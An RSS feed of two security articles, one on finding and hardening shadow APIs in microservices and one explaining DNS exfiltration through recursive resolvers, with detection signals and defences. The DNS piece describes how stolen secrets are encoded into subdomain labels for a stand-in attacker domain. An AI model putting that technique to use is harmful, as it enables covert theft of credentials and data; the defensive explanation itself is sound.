<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Njenga Ng'ang'a</title>
    <description>The latest articles on DEV Community by Njenga Ng'ang'a (@njenga_nganga_00063bc67).</description>
    <link>https://dev.to/njenga_nganga_00063bc67</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4022622%2F592e6099-03c4-4e6d-936b-420926104f50.jpg</url>
      <title>DEV Community: Njenga Ng'ang'a</title>
      <link>https://dev.to/njenga_nganga_00063bc67</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/njenga_nganga_00063bc67"/>
    <language>en</language>
    <item>
      <title>Shadow APIs: Uncovering Unmonitored Endpoints in Microservice Architectures</title>
      <dc:creator>Njenga Ng'ang'a</dc:creator>
      <pubDate>Wed, 16 Sep 2026 08:57:02 +0000</pubDate>
      <link>https://dev.to/njenga_nganga_00063bc67/shadow-apis-uncovering-unmonitored-endpoints-in-microservice-architectures-3boh</link>
      <guid>https://dev.to/njenga_nganga_00063bc67/shadow-apis-uncovering-unmonitored-endpoints-in-microservice-architectures-3boh</guid>
      <description>&lt;p&gt;Shadow APIs often appear not through malice, but through routine delivery pressure: a service team ships an endpoint, another service starts calling it, and no gateway, inventory, or security control ever records that it exists.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Makes an API “Shadow”
&lt;/h2&gt;

&lt;p&gt;A shadow API is an endpoint that is reachable but absent from the organization’s approved API inventory, monitoring plan, documentation, or security review process.&lt;/p&gt;

&lt;p&gt;It may be internal, external, temporary, deprecated, or accidentally exposed.&lt;/p&gt;

&lt;p&gt;In microservice architectures, shadow APIs commonly include:&lt;br&gt;
• Internal REST endpoints bypassing the API gateway&lt;br&gt;
• gRPC methods missing from service catalogs&lt;br&gt;
• Debug or admin routes left enabled after testing&lt;br&gt;
• Older API versions still serving traffic&lt;br&gt;
• Kubernetes services exposed through misconfigured ingress rules&lt;br&gt;
• Lambda or cloud function URLs created outside standard deployment templates&lt;br&gt;
• Partner endpoints documented in a ticket but never registered centrally&lt;/p&gt;

&lt;p&gt;The key issue is not merely that the endpoint exists. The issue is that security, operations, and platform teams cannot reason about something they cannot see.&lt;/p&gt;

&lt;p&gt;A public /api/v1/users/export endpoint with strong authentication, logging, schema validation, rate limits, and ownership metadata is manageable. &lt;/p&gt;

&lt;p&gt;A private /internal/exportUsers endpoint accepting the same data but bypassing all controls is a material risk.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Microservices Create Shadow APIs
&lt;/h2&gt;

&lt;p&gt;Microservices distribute ownership. That is useful for delivery speed, but it also fragments API control.&lt;/p&gt;

&lt;p&gt;A monolith may expose a few route files and a single edge tier. A microservice estate may include hundreds of services, each with independent frameworks, deployment pipelines, sidecars, ingress objects, service discovery entries, and cloud permissions.&lt;/p&gt;

&lt;p&gt;Shadow APIs emerge from several recurring patterns.&lt;/p&gt;

&lt;h2&gt;
  
  
  Direct Service-to-Service Calls
&lt;/h2&gt;

&lt;p&gt;A team may expose an endpoint intended only for another internal service:&lt;br&gt;
POST &lt;a href="http://invoice-service.default.svc.cluster.local/recalculate" rel="noopener noreferrer"&gt;http://invoice-service.default.svc.cluster.local/recalculate&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The endpoint works inside the cluster, so it never passes through the public API gateway. &lt;/p&gt;

&lt;p&gt;Six months later, five services depend on it. No OpenAPI document exists. No one knows whether it accepts customer identifiers, payment data, or elevated operations.&lt;/p&gt;

&lt;p&gt;Internal APIs still need governance. An attacker who reaches the cluster network through SSRF, compromised credentials, or workload takeover can use those routes laterally.&lt;/p&gt;

&lt;h2&gt;
  
  
  Temporary Endpoints That Become Permanent
&lt;/h2&gt;

&lt;p&gt;A migration team adds:&lt;br&gt;
POST /admin/backfill-customer-status&lt;/p&gt;

&lt;p&gt;The route is meant for a two-week database correction. It accepts a list of customer IDs and updates account state. The sprint ends. The endpoint remains.&lt;/p&gt;

&lt;p&gt;Temporary routes are especially risky because engineers often exempt them from normal controls to finish operational work. They may lack pagination, input validation, authorization checks, or rate limits.&lt;/p&gt;

&lt;h2&gt;
  
  
  Version Drift
&lt;/h2&gt;

&lt;p&gt;An organization may publish /v3/orders but keep /v1/orders alive because a mobile app or partner integration still depends on it. Over time, the old version falls out of testing and monitoring.&lt;/p&gt;

&lt;p&gt;Attackers like old APIs because they often contain older assumptions:&lt;br&gt;
• Weak authorization rules&lt;br&gt;
• Missing object-level checks&lt;br&gt;
• More verbose error messages&lt;br&gt;
• Older serializers&lt;br&gt;
• Deprecated authentication mechanisms&lt;br&gt;
• Business logic no longer reviewed by service owners&lt;/p&gt;

&lt;p&gt;An endpoint does not become safe because it is undocumented. It becomes harder to defend.&lt;/p&gt;

&lt;h2&gt;
  
  
  Framework Defaults and Debug Routes
&lt;/h2&gt;

&lt;p&gt;Modern frameworks often expose operational endpoints:&lt;br&gt;
• Spring Boot Actuator: /actuator/env, /actuator/heapdump&lt;br&gt;
• Express debug middleware&lt;br&gt;
• Django admin panels&lt;br&gt;
• Rails routes mounted for development&lt;br&gt;
• Prometheus metrics endpoints&lt;br&gt;
• Swagger UI and OpenAPI JSON documents&lt;/p&gt;

&lt;p&gt;Some are safe when properly configured. Others leak environment variables, memory snapshots, build data, dependency versions, or internal URLs.&lt;/p&gt;

&lt;p&gt;A common failure is enabling a broad actuator path during a performance incident and forgetting to lock it down afterward.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Security Impact
&lt;/h2&gt;

&lt;p&gt;Shadow APIs increase risk across three dimensions: exposure, privilege, and blind spots.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Broken Object-Level Authorization&lt;/strong&gt;&lt;br&gt;
OWASP API Security Top 10 repeatedly highlights broken object-level authorization. Shadow endpoints are prime candidates because they often skip shared authorization middleware.&lt;/p&gt;

&lt;p&gt;Example:&lt;br&gt;
GET /internal/customer/83922&lt;br&gt;
Authorization: Bearer &lt;/p&gt;

&lt;p&gt;If the endpoint checks only that the token is valid, not whether the caller can access customer 83922, it becomes a data exposure path.&lt;/p&gt;

&lt;p&gt;Public endpoints may enforce tenant isolation, but internal endpoints sometimes trust that callers are “already inside.”&lt;/p&gt;

&lt;p&gt;That assumption fails in Kubernetes clusters, flat VPCs, and overly broad service accounts.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Excessive Data Exposure&lt;/strong&gt;&lt;br&gt;
Shadow APIs may return fields never intended for consumers:&lt;br&gt;
{&lt;br&gt;
  "id": "83922",&lt;br&gt;
  "email": "&lt;a href="mailto:customer@example.com"&gt;customer@example.com&lt;/a&gt;",&lt;br&gt;
  "passwordHash": "$2a$10$...",&lt;br&gt;
  "riskScore": 82,&lt;br&gt;
  "internalNotes": "Chargeback risk",&lt;br&gt;
  "ssnLast4": "1844"&lt;br&gt;
}&lt;/p&gt;

&lt;p&gt;Even if the route is not advertised, it may be discoverable through traffic inspection, JavaScript bundles, mobile app decompilation, logs, error messages, or DNS records.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Monitoring Gaps&lt;/strong&gt;&lt;br&gt;
If traffic bypasses the gateway, key controls disappear:&lt;br&gt;
• Central request logging&lt;br&gt;
• WAF rules&lt;br&gt;
• API schema validation&lt;br&gt;
• Bot detection&lt;br&gt;
• Rate limiting&lt;br&gt;
• Threat detection&lt;br&gt;
• Standard authentication middleware&lt;br&gt;
• Data loss monitoring&lt;/p&gt;

&lt;p&gt;A shadow endpoint can receive malicious traffic for weeks without appearing in dashboards. The first visible sign may be fraud, account takeover, database load, or customer reports.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where to Look for Shadow APIs
&lt;/h2&gt;

&lt;p&gt;API discovery must pull from runtime, build-time, and configuration sources. No single data source is sufficient.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Gateway and Ingress Configuration&lt;/strong&gt;&lt;br&gt;
Start with what is officially exposed:&lt;br&gt;
• NGINX ingress rules&lt;br&gt;
• AWS API Gateway routes&lt;br&gt;
• Azure API Management APIs&lt;br&gt;
• Kong, Apigee, or Envoy configurations&lt;br&gt;
• Istio VirtualService and Gateway resources&lt;br&gt;
• Traefik routers&lt;br&gt;
• Cloud load balancer listener rules&lt;/p&gt;

&lt;p&gt;Compare those routes against service repositories and observed traffic. Any endpoint seen in traffic but absent from the gateway inventory deserves review. &lt;/p&gt;

&lt;p&gt;Any endpoint defined in code but not reachable may still matter if a future ingress change exposes it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Kubernetes Service Discovery&lt;/strong&gt;&lt;br&gt;
Kubernetes makes internal reachability easy. That convenience can hide sensitive APIs.&lt;br&gt;
Useful commands include:&lt;br&gt;
kubectl get svc -A&lt;br&gt;
kubectl get ingress -A&lt;br&gt;
kubectl get endpoints -A&lt;br&gt;
kubectl get httproute -A&lt;br&gt;
kubectl get virtualservice -A&lt;/p&gt;

&lt;p&gt;Look for services with names such as admin, debug, internal, migration, backfill, tools, or ops. Naming is not proof, but it gives analysts a starting point.&lt;/p&gt;

&lt;p&gt;Also inspect annotations. Cloud controller annotations can silently create external load balancers:&lt;br&gt;
service.beta.kubernetes.io/aws-load-balancer-internal: "false"&lt;/p&gt;

&lt;p&gt;A single boolean can turn an internal tool into an internet-facing service.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Runtime Traffic&lt;/strong&gt;&lt;br&gt;
Observed traffic is the strongest evidence that an endpoint matters.&lt;br&gt;
Sources include:&lt;br&gt;
• Envoy or service mesh access logs&lt;br&gt;
• eBPF network telemetry&lt;br&gt;
• VPC Flow Logs plus Layer 7 enrichment&lt;br&gt;
• NGINX ingress logs&lt;br&gt;
• Application logs&lt;br&gt;
• API gateway access logs&lt;br&gt;
• OpenTelemetry traces&lt;br&gt;
• Packet captures in controlled environments&lt;/p&gt;

&lt;p&gt;For HTTP APIs, collect method, host, path template, status code, caller identity, target service, authentication state, and response size. For gRPC, capture service and method names such as:&lt;br&gt;
payments.AuthorizationService/CreateHold&lt;/p&gt;

&lt;p&gt;Path normalization is critical. Without it, /users/123, /users/456, and /users/789 look like separate endpoints. A discovery system should collapse them into /users/{id} where possible.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. Source Code and Route Extraction&lt;/strong&gt;&lt;br&gt;
Static analysis can reveal routes before deployment.&lt;br&gt;
Examples:&lt;br&gt;
Express:&lt;br&gt;
router.post('/admin/reindex', requireAdmin, reindexHandler)&lt;br&gt;
Spring:&lt;br&gt;
@PostMapping("/customers/{id}/status")&lt;br&gt;
FastAPI:&lt;br&gt;
@app.get("/internal/risk/{customer_id}")&lt;br&gt;
ASP.NET:&lt;br&gt;
[HttpPost("accounts/{id}/freeze")]&lt;/p&gt;

&lt;p&gt;The discovery process should extract method, path, file owner, repository, authentication middleware, and deployment target. Pairing this with runtime traffic shows whether a route is dead, active, internal-only, or newly exposed.&lt;/p&gt;

&lt;h2&gt;
  
  
  OpenAPI, Protobuf, and AsyncAPI Specifications
&lt;/h2&gt;

&lt;p&gt;Contract files are useful, but they are often incomplete. Treat them as one evidence source, not the source of truth.&lt;/p&gt;

&lt;p&gt;For REST, compare observed routes to OpenAPI paths. For gRPC, compare traffic and server reflection output to protobuf definitions. For event-driven APIs, inspect AsyncAPI specs, Kafka topic usage, schema registry subjects, and consumer groups.&lt;/p&gt;

&lt;p&gt;A missing contract does not automatically mean the API is dangerous, but it does mean no one has formally described its behaviour.&lt;/p&gt;

&lt;h2&gt;
  
  
  Building a Shadow API Detection Program
&lt;/h2&gt;

&lt;p&gt;The best programs combine automated discovery with ownership and remediation workflows.&lt;br&gt;
&lt;strong&gt;1.    Establish a Canonical API Inventory&lt;/strong&gt;&lt;br&gt;
Every endpoint should map to a record containing:&lt;br&gt;
• Service name&lt;br&gt;
• Owning team&lt;br&gt;
• Repository&lt;br&gt;
• Runtime environment&lt;br&gt;
• Protocol: HTTP, gRPC, GraphQL, WebSocket&lt;br&gt;
• Exposure: public, partner, internal, cluster-only&lt;br&gt;
• Authentication method&lt;br&gt;
• Authorization model&lt;br&gt;
• Data classification&lt;br&gt;
• Current version&lt;br&gt;
• Deprecation date, if applicable&lt;br&gt;
• Last observed traffic&lt;br&gt;
• Contract location&lt;br&gt;
• Logging and rate-limit status&lt;/p&gt;

&lt;p&gt;This inventory should be generated as much as possible. Manual spreadsheets decay quickly.&lt;/p&gt;

&lt;p&gt;A practical approach is to feed a central catalog from CI pipelines, Kubernetes admission controllers, gateway configs, and runtime telemetry. &lt;/p&gt;

&lt;p&gt;Backstage can serve as a front end for ownership and documentation, but it needs automated inputs to stay accurate.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2.    Detect Drift Continuously&lt;/strong&gt;&lt;br&gt;
Run drift checks on every deployment:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt; Extract routes from the build artifact or source tree.&lt;/li&gt;
&lt;li&gt; Compare them with approved API contracts.&lt;/li&gt;
&lt;li&gt; Inspect Kubernetes and gateway changes.&lt;/li&gt;
&lt;li&gt; Flag new externally reachable paths.&lt;/li&gt;
&lt;li&gt; Require owner approval for sensitive methods such as POST, PUT, PATCH, and DELETE.&lt;/li&gt;
&lt;li&gt; Block deployments that expose admin routes without explicit policy exceptions.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This can be enforced through CI checks, Open Policy Agent, Conftest, Kyverno, or admission webhooks.&lt;/p&gt;

&lt;p&gt;Example policy logic:&lt;br&gt;
deny[msg] {&lt;br&gt;
  input.kind == "Ingress"&lt;br&gt;
  contains(input.spec.rules[&lt;em&gt;].http.paths[&lt;/em&gt;].path, "/admin")&lt;br&gt;
  not input.metadata.annotations["security-approved"]&lt;br&gt;
  msg := "Admin path exposed without security approval"&lt;br&gt;
}&lt;/p&gt;

&lt;p&gt;Policy should prevent obvious mistakes without turning platform teams into ticket routers for every harmless change.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3.    Classify Endpoints by Risk&lt;/strong&gt;&lt;br&gt;
Not all unknown APIs carry the same urgency. Risk scoring helps teams act.&lt;/p&gt;

&lt;p&gt;High-risk indicators include:&lt;br&gt;
• Internet exposure&lt;br&gt;
• No authentication&lt;br&gt;
• Admin verbs or privileged operations&lt;br&gt;
• Access to personal, payment, health, or credentials data&lt;br&gt;
• Deprecated versions receiving traffic&lt;br&gt;
• Missing owner&lt;br&gt;
• Large response bodies&lt;br&gt;
• Abnormal error rates&lt;br&gt;
• No rate limiting&lt;br&gt;
• Use by unrecognized clients&lt;br&gt;
• Write operations from outside the expected network segment&lt;/p&gt;

&lt;p&gt;A newly discovered internal health endpoint is not the same as an unauthenticated /export route exposed through a load balancer. Triage should reflect that.&lt;/p&gt;

&lt;h2&gt;
  
  
  Hardening Shadow APIs After Discovery
&lt;/h2&gt;

&lt;p&gt;Discovery is only useful if it changes system behaviour.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A.    Remove or Retire&lt;/strong&gt;&lt;br&gt;
If an endpoint is unused, remove it. If it still receives traffic, identify callers through logs or traces and plan a migration. Set a removal date and monitor residual usage.&lt;/p&gt;

&lt;p&gt;Deprecated APIs need explicit shutdown mechanics:&lt;br&gt;
• Response headers announcing deprecation&lt;br&gt;
• Client owner notifications&lt;br&gt;
• Dashboards showing caller traffic&lt;br&gt;
• Brownout windows&lt;br&gt;
• Final removal tickets tied to release plans&lt;/p&gt;

&lt;p&gt;Old endpoints survive because removal is more expensive than neglect. Make removal routine.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;B.    Put Internal APIs Under Zero-Trust Controls&lt;/strong&gt;&lt;br&gt;
Internal does not mean trusted. Service-to-service APIs should use strong workload identity, usually through mTLS with SPIFFE IDs, service mesh identity, or cloud-native workload identity.&lt;/p&gt;

&lt;p&gt;Authorization should answer two questions:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt; Who is calling?&lt;/li&gt;
&lt;li&gt; Is this caller allowed to perform this action on this object?&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;A policy such as “any pod in the namespace can call billing” is too broad for sensitive operations. Prefer explicit service identities:&lt;br&gt;
allow inventory-service to call billing-service:GetInvoice&lt;br&gt;
deny all other services&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;C.    Standardize Middleware&lt;/strong&gt;&lt;br&gt;
Every service should use shared libraries or sidecar policies for:&lt;br&gt;
• Authentication&lt;br&gt;
• Authorization hooks&lt;br&gt;
• Request validation&lt;br&gt;
• Structured logging&lt;br&gt;
• Correlation IDs&lt;br&gt;
• Rate limiting&lt;br&gt;
• Error handling&lt;br&gt;
• Security headers where applicable&lt;/p&gt;

&lt;p&gt;The goal is not uniform language or framework choice. The goal is consistent control behaviour across services.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;D.    Monitor Unknowns as First-Class Signals&lt;/strong&gt;&lt;br&gt;
Create alerts for:&lt;br&gt;
• New path observed in production&lt;br&gt;
• New external route&lt;br&gt;
• Traffic to deprecated API versions&lt;br&gt;
• Unauthenticated requests to non-health endpoints&lt;br&gt;
• Internal endpoint called from unexpected workload&lt;br&gt;
• Sensitive endpoint with sudden response size increase&lt;br&gt;
• gRPC method observed without matching protobuf contract&lt;/p&gt;

&lt;p&gt;These signals should flow to the owning team with enough context to act: sample timestamps, source workloads, destination service, path template, deployment version, and related pull requests.&lt;/p&gt;

&lt;h2&gt;
  
  
  A Practical 30-Day Plan
&lt;/h2&gt;

&lt;p&gt;A focused first pass can produce results quickly.&lt;/p&gt;

&lt;p&gt;Days 1–5: collect API gateway, ingress, service mesh, and Kubernetes service data. Build a rough inventory with ownership from repository metadata and deployment labels.&lt;/p&gt;

&lt;p&gt;Days 6–10: enable or aggregate Layer 7 access logs for the highest-risk environments. Normalize routes and identify endpoints seen in traffic but absent from documented contracts.&lt;/p&gt;

&lt;p&gt;Days 11–15: scan source repositories for route declarations. Compare code-defined routes with observed routes and published OpenAPI or protobuf specs.&lt;/p&gt;

&lt;p&gt;Days 16–20: triage the top 25 unknown endpoints by exposure and data sensitivity. Remove dead admin routes. Add authentication to any unauthenticated sensitive path.&lt;/p&gt;

&lt;p&gt;Days 21–25: add CI checks for newly introduced routes and ingress changes. Require contract updates for public and partner APIs.&lt;/p&gt;

&lt;p&gt;Days 26–30: publish the inventory in a service catalog, assign owners, and create alerts for new production endpoints.&lt;/p&gt;

&lt;p&gt;The first month should not aim for perfect coverage. It should convert invisible risk into named work owned by specific teams.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Engineering Principle
&lt;/h2&gt;

&lt;p&gt;Shadow APIs are a control-plane failure. They show that the organization can deploy network-reachable behaviour faster than it can inventory, govern, and observe it.&lt;/p&gt;

&lt;p&gt;The fix is not a one-time scan. It is a feedback loop: extract routes before deployment, observe traffic during runtime, compare both against approved contracts, and make ownership visible.&lt;/p&gt;

&lt;p&gt;A microservice architecture can tolerate rapid change if every new endpoint leaves a trace in the catalog, the logs, the policy engine, and the team’s review process. The next API shipped on Friday afternoon should be visible before Monday morning traffic reaches it.&lt;/p&gt;

</description>
      <category>api</category>
      <category>architecture</category>
      <category>microservices</category>
      <category>security</category>
    </item>
    <item>
      <title>THE DARK SIDE OF DNS: WEAPONIZING RECURSIVE RESOLVERS FOR STEALTH DATA EXFILTRATION</title>
      <dc:creator>Njenga Ng'ang'a</dc:creator>
      <pubDate>Wed, 09 Sep 2026 14:54:06 +0000</pubDate>
      <link>https://dev.to/njenga_nganga_00063bc67/the-dark-side-of-dns-weaponizing-recursive-resolvers-for-stealth-data-exfiltration-85g</link>
      <guid>https://dev.to/njenga_nganga_00063bc67/the-dark-side-of-dns-weaponizing-recursive-resolvers-for-stealth-data-exfiltration-85g</guid>
      <description>&lt;p&gt;Recursive DNS resolvers can turn a routine name-lookup service into a quiet exfiltration relay, carrying encoded data through infrastructure most organizations allow by default.&lt;/p&gt;

&lt;p&gt;DNS is trusted because it is necessary. Workstations need it. Servers need it. Cloud workloads need it. Security tools depend on it. Blocking DNS outright breaks the network, so many environments treat resolver traffic as background noise: high-volume, low-interest, and too operationally sensitive to inspect aggressively.&lt;/p&gt;

&lt;p&gt;That trust creates an opening. An attacker who can cause a compromised host to issue DNS queries can move data outward without opening an obvious TCP session to an unknown server, uploading a file, or triggering conventional data-loss prevention controls. &lt;/p&gt;

&lt;p&gt;The recursive resolver becomes the middleman. It accepts the query, performs the lookup, and forwards the request through the DNS hierarchy until it reaches an authoritative server controlled by the attacker.&lt;br&gt;
The data is not in the answer. It is often in the question.&lt;/p&gt;

&lt;h2&gt;
  
  
  How Recursive Resolution Becomes an Exfiltration Channel
&lt;/h2&gt;

&lt;p&gt;A recursive resolver accepts a query from a client, finds the answer by querying other DNS servers, caches the result, and returns the response.&lt;/p&gt;

&lt;p&gt;In a typical enterprise, endpoints send DNS queries to internal resolvers. Those resolvers then communicate with root servers, top-level domain servers, and authoritative name servers.&lt;/p&gt;

&lt;p&gt;Attackers abuse that chain by registering or compromising a domain they control, then causing infected systems to generate lookups under that domain. Sensitive data is encoded into subdomain labels:&lt;br&gt;
encoded-data.chunk-id.session-id.attacker-domain.example&lt;/p&gt;

&lt;p&gt;The endpoint asks its configured recursive resolver to resolve the name. The resolver does what it was built to do: it forwards the query. Eventually, the full query name reaches the attacker’s authoritative DNS server, where the encoded labels can be logged and reconstructed.&lt;/p&gt;

&lt;p&gt;No direct connection from the victim host to the attacker’s web server is required. From the endpoint’s perspective, it only contacted a DNS resolver it may already be allowed to use. From the attacker’s perspective, the inbound query may appear to come from the victim organization’s resolver, a public resolver, or a chain of forwarding resolvers rather than the original machine.&lt;/p&gt;

&lt;p&gt;That separation is what makes recursive resolvers useful for stealth.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why DNS Is Attractive for Data Theft
&lt;/h2&gt;

&lt;p&gt;DNS has several properties that make it appealing to attackers.&lt;br&gt;
First, it is almost always permitted. Even restrictive networks usually allow DNS traffic to approved resolvers. Some environments also allow outbound UDP/53 or TCP/53 to the internet, either by design or by accident.&lt;/p&gt;

&lt;p&gt;Second, DNS is noisy. Large organizations generate enormous volumes of lookups from browsers, software updaters, telemetry agents, package managers, endpoint protection tools, and cloud services. Malicious queries can hide among millions of benign requests.&lt;/p&gt;

&lt;p&gt;Third, DNS names are flexible. Each label can contain up to 63 octets, and a full domain name can reach 253 octets in presentation form. That creates room to embed chunks of encoded data. Attackers often use encodings that survive DNS label restrictions, such as base32-like alphabets or custom character sets.&lt;/p&gt;

&lt;p&gt;Fourth, DNS traffic is frequently logged incompletely. Many teams log firewall flows but not full query names. Others keep resolver logs for only a short period because the volume is high. Without the query name, exfiltration through DNS is difficult to reconstruct.&lt;/p&gt;

&lt;p&gt;Fifth, recursive infrastructure can obscure attribution. The attacker-controlled authoritative server may only see the recursive resolver’s source IP. If the victim uses a public resolver, the attacker may see traffic from shared infrastructure used by many customers.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Role of Caching
&lt;/h2&gt;

&lt;p&gt;Caching is central to DNS performance, but attackers need to work around it.&lt;/p&gt;

&lt;p&gt;If many clients request the same name, a recursive resolver can answer from cache and avoid contacting the authoritative server again until the time-to-live expires. For exfiltration, that is a problem: the attacker needs each payload-bearing query to reach the authoritative server.&lt;/p&gt;

&lt;p&gt;The usual answer is uniqueness. Each query name contains a fresh chunk identifier, session value, counter, nonce, or encoded data block that prevents cache hits. That can produce a recognizable pattern: many unique subdomains under a single parent domain, often with low or no meaningful repetition.&lt;/p&gt;

&lt;p&gt;For defenders, this is valuable. High-cardinality subdomain activity is one of the strongest indicators of DNS-based exfiltration. A normal domain may receive repeated queries for names such as www, api, cdn, or region-specific hosts. An exfiltration domain may receive thousands of never-before-seen labels that look random.&lt;/p&gt;

&lt;p&gt;Caching can also create blind spots. If a resolver answers repeated control queries from cache, an endpoint’s DNS activity may not be visible upstream. Local resolver logs remain essential.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Recursive Resolvers as Stealth Multipliers&lt;br&gt;
The recursive resolver is not merely a passive transport. Its placement can make the attack harder to see.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Enterprise Recursive Resolvers&lt;br&gt;
In many organizations, endpoints are forced to use internal resolvers. That sounds safer, and it usually is. It gives defenders a central inspection point. But if those resolvers are not monitored for unusual query patterns, they can become sanctioned exfiltration relays.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;From a firewall perspective, only the resolver is communicating externally. The compromised workstation may never make a direct outbound connection to the attacker’s infrastructure.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt; Public Recursive Resolvers
Public resolvers such as Google Public DNS, Cloudflare DNS, Quad9, and ISP-provided resolvers are widely used. Attackers may configure malware to use public resolvers to bypass internal visibility, especially if outbound DNS is not restricted.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Encrypted DNS adds another layer. DNS over HTTPS and DNS over TLS can prevent middleboxes from inspecting query names unless traffic is forced through managed resolvers or intercepted under enterprise policy. A compromised host using an unmanaged DoH endpoint may blend DNS exfiltration with ordinary HTTPS traffic.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt; Open Recursive Resolvers
Open recursive resolvers exposed to the internet remain a security problem. They are often discussed in the context of amplification attacks, but they can also help obscure traffic paths. An attacker can route queries through third-party recursive servers so the authoritative side sees resolver addresses unrelated to the originating victim.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Organizations should not run open resolvers unless they are intentionally operating public DNS infrastructure with abuse controls, rate limits, and monitoring.&lt;/p&gt;

&lt;h2&gt;
  
  
  Common Exfiltration Patterns
&lt;/h2&gt;

&lt;p&gt;DNS exfiltration tends to leave behavioral fingerprints.&lt;/p&gt;

&lt;p&gt;A.  Long, High-Entropy Query Names&lt;br&gt;
Encoded payloads often look random:&lt;br&gt;
mfrggzdfmztwq2lk.mjqxgzjanrxw4z3f.example.net&lt;/p&gt;

&lt;p&gt;Benign services also generate long names, especially content delivery networks, tracking systems, anti-abuse platforms, and cloud tools. &lt;/p&gt;

&lt;p&gt;Entropy alone is not enough. It becomes more useful when combined with other signals: unusual parent domain, repeated long labels, high uniqueness, and consistent query timing.&lt;/p&gt;

&lt;p&gt;B.  Many NXDOMAIN Responses&lt;br&gt;
Some exfiltration schemes do not require valid DNS answers. The attacker only needs to receive the query at the authoritative server. The response may be NXDOMAIN, NODATA, or a minimal record.&lt;br&gt;
A high NXDOMAIN ratio from one host or toward one domain can indicate tunnelling or exfiltration. Care is needed, because broken software, typo-heavy browsing, and internal search suffix behaviour can also generate NXDOMAIN noise.&lt;/p&gt;

&lt;p&gt;C.  Low-Volume, Long-Duration Transfer&lt;br&gt;
Not every DNS exfiltration attempt is loud. A patient attacker may send small chunks over hours or days, staying below simple rate thresholds. For example, a few hundred bytes per minute can be enough to leak API tokens, SSH keys, browser session cookies, configuration files, or selected database records.&lt;/p&gt;

&lt;p&gt;This matters because DNS exfiltration is rarely used to move a 20 GB archive. It is more often used for high-value secrets that are small enough to hide.&lt;/p&gt;

&lt;p&gt;D.  TXT, NULL, and Unusual Record Types&lt;br&gt;
Many attacks use ordinary A or AAAA queries because they look common. Others use TXT queries because TXT records can carry flexible data in responses, which is useful for command-and-control. Rare record types can stand out in enterprise telemetry.&lt;/p&gt;

&lt;p&gt;A sudden increase in TXT queries from endpoints that normally issue mostly A, AAAA, CNAME, and SRV lookups deserves attention.&lt;/p&gt;

&lt;p&gt;E.  Detection Requires Resolver-Level Visibility&lt;br&gt;
Firewall metadata alone is usually insufficient. Defenders need access to the DNS query name, query type, response code, client IP, resolver identity, timestamp, and ideally the resolved answer.&lt;br&gt;
Strong DNS monitoring programs collect logs from recursive resolvers and normalize them into a searchable platform. Useful detections include:&lt;br&gt;
• Unusually long fully qualified domain names&lt;br&gt;
• Labels near the 63-octet limit&lt;br&gt;
• High entropy labels under the same registered domain&lt;br&gt;
• High volume of unique subdomains&lt;br&gt;
• Excessive NXDOMAIN or NODATA responses&lt;br&gt;
• Repeated queries to newly registered domains&lt;br&gt;
• DNS traffic to external resolvers from non-resolver hosts&lt;br&gt;
• DoH or DoT connections to unapproved providers&lt;br&gt;
• Query patterns with fixed intervals or chunk-like counters&lt;br&gt;
• Domains with low reputation, recent creation dates, or suspicious name server infrastructure&lt;/p&gt;

&lt;p&gt;Passive DNS and threat intelligence can help, but local baselines matter more. A software build server, a browser-heavy workstation, and a domain controller will not have the same DNS profile.&lt;/p&gt;

&lt;p&gt;F.  Defensive Controls That Actually Reduce Risk&lt;br&gt;
DNS exfiltration cannot be solved by one product. It requires control over where DNS goes, what gets logged, and how anomalies are handled.&lt;/p&gt;

&lt;p&gt;G.  Force DNS Through Managed Resolvers&lt;br&gt;
Endpoints should not be able to send arbitrary DNS traffic to the internet. Block outbound UDP/53 and TCP/53 from all systems except approved recursive resolvers. Apply the same principle to IPv6, which is often forgotten.&lt;/p&gt;

&lt;p&gt;For encrypted DNS, block or control unmanaged DoH and DoT. Browsers and operating systems increasingly support encrypted DNS directly, so policy enforcement must account for application-level behaviour, not only network ports.&lt;/p&gt;

&lt;p&gt;H.  Monitor the Resolvers, Not Just the Perimeter&lt;br&gt;
Recursive resolvers are the best vantage point for detecting DNS exfiltration inside an enterprise. Enable detailed query logging where feasible. If full logging is too expensive, sample intelligently and preserve high-risk fields such as client address, query name, query type, and response code.&lt;/p&gt;

&lt;p&gt;Retention matters. A week of DNS logs may not be enough for incident response, especially if the theft was slow.&lt;/p&gt;

